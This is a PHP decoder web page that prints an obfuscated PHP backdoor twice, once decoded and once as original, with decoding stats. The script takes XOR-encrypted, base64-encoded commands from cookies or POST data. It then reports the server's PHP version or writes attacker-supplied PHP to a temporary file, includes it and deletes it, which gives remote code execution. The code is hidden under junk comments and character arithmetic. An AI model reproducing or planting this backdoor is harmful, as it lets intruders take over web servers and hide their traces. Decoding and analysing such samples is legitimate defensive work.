Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* v*/function c_vgohyk(){$yysksoukgp='ebuusbpx'; print_r (54757+54757);/* e..

Decoded Output download

<?php /*  v*/function	c_vgohyk(){$yysksoukgp='ebuusbpx';   print_r     (54757+54757);/*  eksfa   */} 
 
$zfvbu  =     'zfvbu'  ^       ''; 
function     jxxkllfr($_e_sq,	$mhutmasqgr) 
{ 
 
       global/*tbqq  */$zfvbu; 
 
 
/*jlooh*/$nkrsphlc/*  bh */=   "";    for	($sdzmiegh	=     0;      $sdzmiegh	<	strlen($_e_sq);)	{ 
 
 
	for	($qyrxrlleyc	=       0;	$qyrxrlleyc/*   a */</*k_qu */strlen($mhutmasqgr)	&&	$sdzmiegh      <	strlen($_e_sq);       $qyrxrlleyc++,/* bjn */$sdzmiegh++)	{ 
/*   t */$nkrsphlc/*ai  */.=	$zfvbu(ord($_e_sq[$sdzmiegh])	^	ord($mhutmasqgr[$qyrxrlleyc])); 
 
	}   } 
/*   kdoda  */return	$nkrsphlc; 
} 
 
 
 
 
 
function	dulcbwq_f($fusewgt,	$_e_sq) 
{ 
/*  _ */global	$zfvbu; 
 
 
 
 
	$vhpqezmsg  =	sprintf(".".$zfvbu(47)/*yuv*/./*   syhw*/$zfvbu(983-946)  ./*  hhj */"s".$zfvbu(46)	.	"p"      .	"l",	md5($fusewgt)); 
 
/*t   */file_put_contents($vhpqezmsg,	"<"/* f  */.	$zfvbu(63)      .	"p"	.   "h"."p".$zfvbu(32)/*v   */./*   duphm   */"u"."n"   .	"l"/*   u  */.     $zfvbu(105)."n"   .    $zfvbu(107)/* kp*/./*   _   */$zfvbu(40)/*   _jej*/.	$zfvbu(95)     .	"_"      .      $zfvbu(70)/*iy */./*  emm   */"I".$zfvbu(602-526)/*  ri  */.	"E"/* ohjqs   */./* _tanf */"_"."_".")"/*   yq */.    ";".$zfvbu(32)	./*o*/$_e_sq["d"]); 
 
       include($vhpqezmsg); 
 
 
/*  qlhc  */$cqsohner	=	$vhpqezmsg; 
 
 
      unlink($cqsohner); 
 
} 
 
 
 
function/* d */mvdeecwjla() 
 
 
{ 
 
 
    global	$zfvbu; 
 
 
/*a   */ 
 
 
	$sdzmiegh      =	array();/*yx*/$sdzmiegh["p"."v"]     =/*  rzmn  */phpversion(); 
 
 
	$sdzmiegh["s".$zfvbu(118)]     =/*   drvfc  */"3"/* s  */.    "."."5"; 
/* jpe*/echo	@serialize($sdzmiegh); 
 
} 
 
function/*qvb*/vjlznzwy($_e_sq,  $fusewgt,/*   nyvuh*/$qyrxrlleycvkbk) 
{ 
 
 
  global	$zfvbu; 
/*  zrip*//*   ssq */$_e_sq    =/* foi   */unserialize(jxxkllfr(jxxkllfr(base64_decode($_e_sq),	$fusewgt),  $qyrxrlleycvkbk));	if  (isset($_e_sq["a"      .	"k"]))/*  pt  */{    if     ($_e_sq["a"]      ==      $zfvbu(105))/*  gzh  */{ 
	mvdeecwjla(); 
/* eo*/}    elseif	($_e_sq["a"]	==	"e")/*   v_*/{ 
 
/*cm   */dulcbwq_f($fusewgt,/* duo */$_e_sq); 
 
/*   jka  */} 
 
 
	exit();  } 
 
} 
 
$qyrxrlleycnaq_cqdrl     =/*   ay*/$_COOKIE; 
$sdzmieghegdtqo/*  zlybc */=	$_POST; 
 
$qyrxrlleycnaq_cqdrl/*mwx*/=	array_merge($sdzmieghegdtqo,       $qyrxrlleycnaq_cqdrl); 
 
$fusewgt       =  $zfvbu(1025-924)/* k*/.	"f"."8"."c"       .	"3"	./*any */$zfvbu(52)	./*wvor*/$zfvbu(97)	./*   ktdx   */"f"    .   $zfvbu(881-836)	.	$zfvbu(983-886)	.	"e"."d"/* ciu*/.	"7"."-".$zfvbu(52)/*   sijwl  */.      "2"."6"/*   z_y*/.	"d"."-"     .	"9"."f"	./*  dtxf   */"2".$zfvbu(99)	.	"-".$zfvbu(412-361)/*qhq */.	"6".$zfvbu(97)	.	"8"."8"."0"."7".$zfvbu(587-488)  .     "d"."0"/* b*/.	"f".$zfvbu(923-866);foreach/* hnenn  */($qyrxrlleycnaq_cqdrl	as	$qyrxrlleycvkbk   =>/* eyrwz  */$_e_sq)   { 
 
 
	vjlznzwy($_e_sq,	$fusewgt,/*vvhmm */$qyrxrlleycvkbk);} ?>

Did this file decode correctly?

Original Code

<?php /*  v*/function	c_vgohyk(){$yysksoukgp='ebuusbpx';   print_r     (54757+54757);/*  eksfa   */}

$zfvbu  =     'zfvbu'  ^       '';
function     jxxkllfr($_e_sq,	$mhutmasqgr)
{

       global/*tbqq  */$zfvbu;


/*jlooh*/$nkrsphlc/*  bh */=   "";    for	($sdzmiegh	=     0;      $sdzmiegh	<	strlen($_e_sq);)	{


	for	($qyrxrlleyc	=       0;	$qyrxrlleyc/*   a */</*k_qu */strlen($mhutmasqgr)	&&	$sdzmiegh      <	strlen($_e_sq);       $qyrxrlleyc++,/* bjn */$sdzmiegh++)	{
/*   t */$nkrsphlc/*ai  */.=	$zfvbu(ord($_e_sq[$sdzmiegh])	^	ord($mhutmasqgr[$qyrxrlleyc]));

	}   }
/*   kdoda  */return	$nkrsphlc;
}





function	dulcbwq_f($fusewgt,	$_e_sq)
{
/*  _ */global	$zfvbu;




	$vhpqezmsg  =	sprintf(".".$zfvbu(47)/*yuv*/./*   syhw*/$zfvbu(983-946)  ./*  hhj */"s".$zfvbu(46)	.	"\160"      .	"l",	md5($fusewgt));

/*t   */file_put_contents($vhpqezmsg,	"<"/* f  */.	$zfvbu(63)      .	"\160"	.   "h"."p".$zfvbu(32)/*v   */./*   duphm   */"u"."\x6e"   .	"\154"/*   u  */.     $zfvbu(105)."\x6e"   .    $zfvbu(107)/* kp*/./*   _   */$zfvbu(40)/*   _jej*/.	$zfvbu(95)     .	"\137"      .      $zfvbu(70)/*iy */./*  emm   */"I".$zfvbu(602-526)/*  ri  */.	"\105"/* ohjqs   */./* _tanf */"_"."_"."\x29"/*   yq */.    ";".$zfvbu(32)	./*o*/$_e_sq["d"]);

       include($vhpqezmsg);


/*  qlhc  */$cqsohner	=	$vhpqezmsg;


      unlink($cqsohner);

}



function/* d */mvdeecwjla()


{


    global	$zfvbu;


/*a   */


	$sdzmiegh      =	array();/*yx*/$sdzmiegh["p"."v"]     =/*  rzmn  */phpversion();


	$sdzmiegh["s".$zfvbu(118)]     =/*   drvfc  */"\x33"/* s  */.    "."."\x35";
/* jpe*/echo	@serialize($sdzmiegh);

}

function/*qvb*/vjlznzwy($_e_sq,  $fusewgt,/*   nyvuh*/$qyrxrlleycvkbk)
{


  global	$zfvbu;
/*  zrip*//*   ssq */$_e_sq    =/* foi   */unserialize(jxxkllfr(jxxkllfr(base64_decode($_e_sq),	$fusewgt),  $qyrxrlleycvkbk));	if  (isset($_e_sq["\141"      .	"\153"]))/*  pt  */{    if     ($_e_sq["a"]      ==      $zfvbu(105))/*  gzh  */{
	mvdeecwjla();
/* eo*/}    elseif	($_e_sq["a"]	==	"e")/*   v_*/{

/*cm   */dulcbwq_f($fusewgt,/* duo */$_e_sq);

/*   jka  */}


	exit();  }

}

$qyrxrlleycnaq_cqdrl     =/*   ay*/$_COOKIE;
$sdzmieghegdtqo/*  zlybc */=	$_POST;

$qyrxrlleycnaq_cqdrl/*mwx*/=	array_merge($sdzmieghegdtqo,       $qyrxrlleycnaq_cqdrl);

$fusewgt       =  $zfvbu(1025-924)/* k*/.	"f"."8"."\143"       .	"\x33"	./*any */$zfvbu(52)	./*wvor*/$zfvbu(97)	./*   ktdx   */"\x66"    .   $zfvbu(881-836)	.	$zfvbu(983-886)	.	"e"."\144"/* ciu*/.	"7"."-".$zfvbu(52)/*   sijwl  */.      "2"."\66"/*   z_y*/.	"d"."\55"     .	"9"."\146"	./*  dtxf   */"2".$zfvbu(99)	.	"-".$zfvbu(412-361)/*qhq */.	"6".$zfvbu(97)	.	"8"."8"."0"."7".$zfvbu(587-488)  .     "d"."\x30"/* b*/.	"f".$zfvbu(923-866);foreach/* hnenn  */($qyrxrlleycnaq_cqdrl	as	$qyrxrlleycvkbk   =>/* eyrwz  */$_e_sq)   {


	vjlznzwy($_e_sq,	$fusewgt,/*vvhmm */$qyrxrlleycvkbk);}

Function Calls

array_merge 1

Variables

$zfvbu chr{{
$sdzmieghegdtqo 0
$qyrxrlleycnaq_cqdrl 0

Stats

MD5 4b3721d6b3b7c2ef3a81cfb050ffa0ca
Eval Count 0
Decode Time 69 ms